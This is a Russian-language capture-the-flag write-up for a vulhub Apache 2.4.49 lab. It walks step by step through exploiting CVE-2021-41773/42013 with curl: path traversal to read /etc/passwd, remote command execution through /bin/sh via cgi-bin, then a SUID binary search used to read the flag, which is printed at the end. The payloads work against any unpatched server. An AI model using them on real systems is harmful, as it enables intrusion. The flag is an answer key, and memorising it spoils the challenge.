## Информация для участников
- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`.
- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`.
- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`.

## Решение (пошаговый райтап)
### 1.
- `curl -I http://<ip>:<port>/` → заголовок `Server: Apache/2.4.49 (Unix)`.
- `curl http://<ip>:<port>/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён.

### 2.
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`.
```bash
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
Успешное чтение `/etc/passwd` подтверждает уязвимость.

### 3.
При включённом CGI можно вызвать системную `sh` напрямую:
```bash
curl --path-as-is -X POST \
  'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; id'
```
Команда выполняется от имени `www-data`.

### 4.
Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`:
```bash
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
```
Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`.

### 5.
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
```bash
curl --path-as-is -X POST \
  'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
  --data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
```
Ответом придёт содержимое флага.

## Флаг
`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`
